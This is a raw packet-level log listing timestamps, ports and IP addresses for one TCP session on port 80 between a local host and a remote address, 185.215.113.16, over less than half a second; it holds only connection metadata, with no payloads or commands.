Dec 10, 2024 02:50:28.405425072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.405467987 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.405503035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.406636000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.406676054 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.406738997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.407876015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.407916069 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.407989025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.409074068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.409117937 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.409188032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.410327911 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.410381079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.410396099 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.411490917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.411535025 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.411664009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.412707090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.412755966 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.412789106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.413933039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.413975000 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.414035082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.415169001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.415210009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.415244102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.416403055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.416445017 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.416522026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.417586088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.417629957 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.417678118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.418787003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.418828011 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.418860912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.420011997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.420051098 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.420106888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.421263933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.421303034 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.421377897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.422430038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.422467947 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.422559023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.423650026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.423690081 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.423746109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.424981117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.425020933 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.425026894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.426098108 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.426137924 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.426197052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.427300930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.427340031 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.427383900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.428518057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.428555012 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.428617954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.429763079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.429805994 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.429816961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.430957079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.430999041 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.431027889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.479032040 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.559753895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.559947014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.559995890 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.560236931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.560369015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.560409069 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.561537027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.561659098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.561703920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.562524080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.562638044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.562680960 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.563637972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.563761950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.563800097 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.564790964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.564882040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.564928055 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.565888882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.566004992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.566046953 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.567222118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.567336082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.567378044 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.568146944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.568231106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.568269968 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.569297075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.569425106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.569464922 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.570439100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.570528030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.570566893 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.571535110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.571643114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.571682930 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.572666883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.572788000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.572823048 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.573811054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.573921919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.573964119 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.574924946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.575037956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.575086117 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.576045990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.576152086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.576200008 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.577178001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.577296019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.577336073 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.578293085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.578398943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.578435898 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.579426050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.579541922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.579590082 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.580581903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.580765009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.580801010 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.581687927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.581795931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.581840038 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.582807064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.582922935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.582966089 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.583939075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.584057093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.584095955 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.585058928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.585187912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.585228920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.586203098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.586323023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.586369991 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.587332964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.587440014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.587482929 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.588445902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.588546038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.588593006 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.589620113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.589728117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.589771986 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.590743065 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.590847969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.590887070 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.591839075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.591936111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.591973066 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.592974901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.593082905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.593123913 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.594116926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.594223022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.594258070 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.595216990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.595329046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.595367908 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.596359015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.596483946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.596535921 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.597467899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.597583055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.597621918 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.598592043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.598709106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.598752975 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.599709034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.599828005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.599868059 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.600858927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.600965023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.601001024 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.601959944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.602082014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.602123022 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.603116035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.603234053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.603270054 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.604234934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.604360104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.604402065 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.605362892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.605473042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.605513096 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.606488943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.606612921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.606650114 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.607589006 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.607712984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.607752085 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.608722925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.608840942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.608872890 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.609850883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.609965086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.610013962 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.610982895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.611068010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.611109018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.612082958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.612189054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.612238884 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.613204002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.613336086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.613377094 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.614353895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.614461899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.614509106 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.615458012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.615571022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.615612030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.616590977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.616714001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.616751909 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.617727995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.617827892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.617865086 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.618796110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.666528940 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.752028942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.752055883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.752221107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.752489090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.752870083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.752909899 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.753628016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.753747940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.753783941 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.754736900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.754863977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.754908085 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.755851030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.755968094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.756006002 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.756982088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.757085085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.757122040 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.758091927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.758229017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.758270025 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.759254932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.759356976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.759399891 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.760385036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.760484934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.760556936 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.761488914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.761589050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.761626005 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.762662888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.762780905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.762821913 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.763746977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.763859034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.763900042 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.764853001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.764955044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.764987946 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.765980959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.766071081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.766113997 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.767117977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.767232895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.767286062 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.768224001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.768333912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.768377066 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.769349098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.769459009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.769495010 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.770483017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.770584106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.770627022 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.771599054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.771714926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.771765947 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.772739887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.772830963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.772874117 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.773871899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.773967981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.774014950 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.774981022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.775146961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.775190115 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.776113987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.776259899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.776320934 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.777247906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.777338982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.777373075 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.778367043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.778479099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.778510094 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.779484987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.779612064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.779654026 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.780630112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.780741930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.780777931 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.781738997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.781840086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.781882048 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.782886982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.782994032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.783039093 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.784024954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.784233093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.784276962 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.785132885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.785267115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.785299063 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.786246061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.786365032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.786405087 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.787369967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.787478924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.787522078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.788686037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.788805962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.788845062 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.789650917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.789787054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.789870977 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.790776014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.790889025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.790932894 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.791846037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.791986942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.792042017 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.792985916 CET	80	49752	185.215.113.16	192.168.2.6
